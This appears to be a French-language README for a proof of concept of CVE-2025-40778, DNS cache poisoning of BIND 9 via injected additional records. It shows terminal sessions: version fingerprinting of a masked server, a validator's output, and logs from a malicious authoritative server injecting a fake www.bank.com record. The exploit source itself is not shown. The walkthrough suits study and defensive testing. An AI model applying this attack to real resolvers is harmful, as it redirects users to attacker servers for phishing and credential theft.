
Preuve de concept démontrant l'empoisonnement du cache DNS via l'injection d'enregistrements supplémentaires dans BIND 9, avec des outils pour valider et exploiter CVE-2025-40778 pour des tests de sécurité autorisés.
Démonstration pédagogique de la vulnérabilité d'empoisonnement du cache DNS via l'injection d'enregistrements additionnels.
UNIQUEMENT À DES FINS ÉDUCATIVES
Cet outil est fourni uniquement à des fins éducatives et de tests de sécurité autorisés. Toute utilisation non autorisée de cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale et contraire à l'éthique.
L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.
Cette preuve de concept démontre comment un serveur DNS faisant autorité compromis peut injecter des enregistrements empoisonnés dans les réponses DNS, redirigeant potentiellement les utilisateurs vers des serveurs malveillants à leur insu.
Vecteur d'attaque :
Scénarios possibles :
👤 Auteur et contact
pip install dnslib
pip install dnspython
pip install scapy
(venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"
;; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.
;; Query time: 14 msec
;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
;; WHEN: Fri Oct 31 10:51:04 -03 2025
;; MSG SIZE rcvd: 134
Cet outil détecte s'il est possible d'exploiter la vulnérabilité CVE-2025-40778
============================================================
CVE-2025-40778 - Forwarder Configuration Validator
============================================================
Enter DNS server IP [127.0.0.1]: 200.0.0.X
Enter domain to query [www.test.local]: www.company.com
============================================================
CVE-2025-40778 VALIDATION - Forwarder Configuration
============================================================
DNS Server: 200.0.0.X
Domain: www.company.com
============================================================
[1/3] Resolution Test for www.company.com
------------------------------------------------------------
[✓] www.company.com → 201.0.0.X
→ Forwarder ACTIVE for www.company.com
[2/3] Additional Records Test (Poison Detection)
------------------------------------------------------------
Answers: 2 records
Authority: 1 records
Additional: 2 records
ANSWER SECTION:
→ www.company.com. 300 IN CNAME www.holding.com.
→ www.holding.com. 300 IN A 201.0.0.X
ADDITIONAL SECTION:
→ [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
→ [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X
→ [!!!] MULTIPLE ANSWERS - Possible poisoning detected
[3/3] Forwarder Latency Test
------------------------------------------------------------
Query 1: 5.63ms
Query 2: 7.46ms
Query 3: 6.04ms
Query 4: 5.04ms
Query 5: 5.69ms
Average: 5.97ms
→ [✓] Forwarder working correctly
============================================================
CONFIGURATION VALIDATED
============================================================
Description : Dans cette étape, vous lancez le serveur DNS faisant autorité malveillant qui simule un serveur de noms compromis. Le serveur écoute sur une adresse IP et un port spécifiques (127.0.0.2:5301), prêt à injecter des enregistrements DNS empoisonnés dans les réponses. Une fois configuré, il répondra aux requêtes légitimes pour www.test.local avec l'adresse IP correcte, mais injectera simultanément un enregistrement malveillant pour www.bank.com pointant vers une adresse IP contrôlée par l'attaquant. Ce comportement de double réponse est au cœur de l'attaque d'empoisonnement du cache : le résolveur DNS vulnérable mettra en cache à la fois la réponse légitime et l'enregistrement empoisonné, même si un seul domaine a été demandé.
(venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py
============================================================
CVE-2025-40778 PoC - poc-linux | krakhen.dev
============================================================
[*] Listening: 127.0.0.2:5301
[*] Legit: www.test.local. → 192.168.0.136
[*] Poison: www.bank.com. → 192.168.0.100
[✓] Running. Ctrl+C to stop.
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A
Description : Ici, vous effectuez une requête DNS standard via votre résolveur local (BIND) pour vérifier que l'infrastructure fonctionne correctement. La requête pour www.test.local doit renvoyer l'adresse IP légitime (192.168.0.136) comme prévu. À ce stade, la réponse semble normale pour l'utilisateur final — aucun signe visible de compromission. Cependant, en coulisses, le résolveur DNS vulnérable a déjà mis en cache les deux enregistrements : celui légitime que vous avez demandé ET l'enregistrement empoisonné pour www.bank.com qui a été injecté dans la section additionnelle de la réponse. Cette étape confirme que votre résolveur DNS a communiqué avec succès avec le serveur faisant autorité malveillant et a traité sa réponse.
(venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
;; QUESTION SECTION:
;www.test.local. IN A
;; ANSWER SECTION:
www.test.local. 120 IN A 192.168.0.136
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
;; WHEN: Fri Oct 31 10:44:57 -03 2025
;; MSG SIZE rcvd: 87
Description : Cette étape révèle la preuve d'un empoisonnement du cache réussi du point de vue de l'attaquant. Les journaux du serveur DNS malveillant montrent qu'il a reçu la requête pour www.test.local, a répondu avec la réponse légitime, ET a réussi à injecter l'enregistrement empoisonné pour www.bank.com. La notation « RRs: A,A » indique que deux enregistrements A ont été envoyés dans la réponse — un légitime, un malveillant. À ce moment, le cache DNS de la victime est compromis. Toute requête ultérieure pour www.bank.com provenant de ce résolveur renverra l'adresse IP de l'attaquant (192.168.0.100) au lieu du véritable site bancaire, permettant des attaques de phishing transparentes où les utilisateurs voient l'URL correcte mais se connectent à un serveur malveillant. L'attaque est invisible pour les utilisateurs finaux et persistera jusqu'à l'expiration du cache DNS (TTL).
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35413] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35413] (udp) / 'www.test.local.' (A) / RRs: A,A
1272025-10-31 10:44:57 [DNSHandler:PoisonResolver] Request: [127.0.0.1:54962] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:44:57 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:54962] (udp) / 'www.test.local.' (A) / RRs: A,A
Ce que cela signifie concrètement :
Imaginez que vous êtes un utilisateur ordinaire essayant d'accéder au site web de votre banque. Vous tapez soigneusement www.bank.com dans votre navigateur — l'URL est 100 % correcte, pas de fautes de frappe, pas de liens suspects provenant d'e-mails. La barre d'adresse de votre navigateur affiche le domaine exact en lequel vous avez confiance. Tout semble légitime.
Mais voici ce qui s'est réellement passé en coulisses :
Le serveur DNS de votre entreprise a été compromis par un attaquant qui a empoisonné son cache en utilisant cette vulnérabilité. Lorsque votre ordinateur demande « Où est www.bank.com ? », le DNS empoisonné répond avec l'adresse IP du serveur de l'attaquant au lieu de la véritable adresse de la banque.
L'anatomie d'une attaque
Ce que l'attaquant peut voler :
Pourquoi c'est si dangereux :
Cette attaque est totalement invisible pour la victime. Il n'y a aucun avertissement, aucun signal d'alarme, aucun moyen pour un utilisateur moyen de la détecter. Même les professionnels avertis en sécurité peuvent en être victimes car l'attaque se produit au niveau de l'infrastructure, et non sur l'appareil de l'utilisateur. Un seul serveur DNS compromis peut affecter des milliers d'utilisateurs simultanément, ce qui en fait un vecteur d'attaque très efficace pour les cybercriminels ciblant les organisations.
En résumé : CVE-2025-40778 permet aux attaquants d'exploiter la confiance. Lorsque l'infrastructure même sur laquelle nous comptons pour naviguer sur Internet est compromise, même les utilisateurs les plus prudents deviennent vulnérables. C'est pourquoi comprendre, tester et atténuer cette vulnérabilité est essentiel pour la posture de sécurité de toute organisation.
Exigence critique : Pour que cette attaque réussisse, la victime doit utiliser le résolveur DNS compromis. L'attaque ne cible pas directement les appareils des utilisateurs finaux — elle cible plutôt l'infrastructure DNS dont les utilisateurs dépendent pour naviguer sur Internet.
Cibles d'attaque réelles :
L'objectif principal de l'attaquant est de compromettre les résolveurs DNS qui desservent de grandes bases d'utilisateurs. Les cibles les plus précieuses incluent :
Pourquoi cela importe :
L'efficacité de l'attaque augmente avec la base d'utilisateurs du résolveur DNS. Compromettez le serveur DNS d'un seul FAI, et vous compromettez potentiellement chaque client qui n'a pas modifié manuellement ses paramètres DNS. C'est pourquoi la sécurité DNS au niveau de l'infrastructure est essentielle — un seul résolveur vulnérable peut créer une surface d'attaque massive affectant des milliers ou des millions d'utilisateurs qui font confiance à cette infrastructure pour être sécurisée.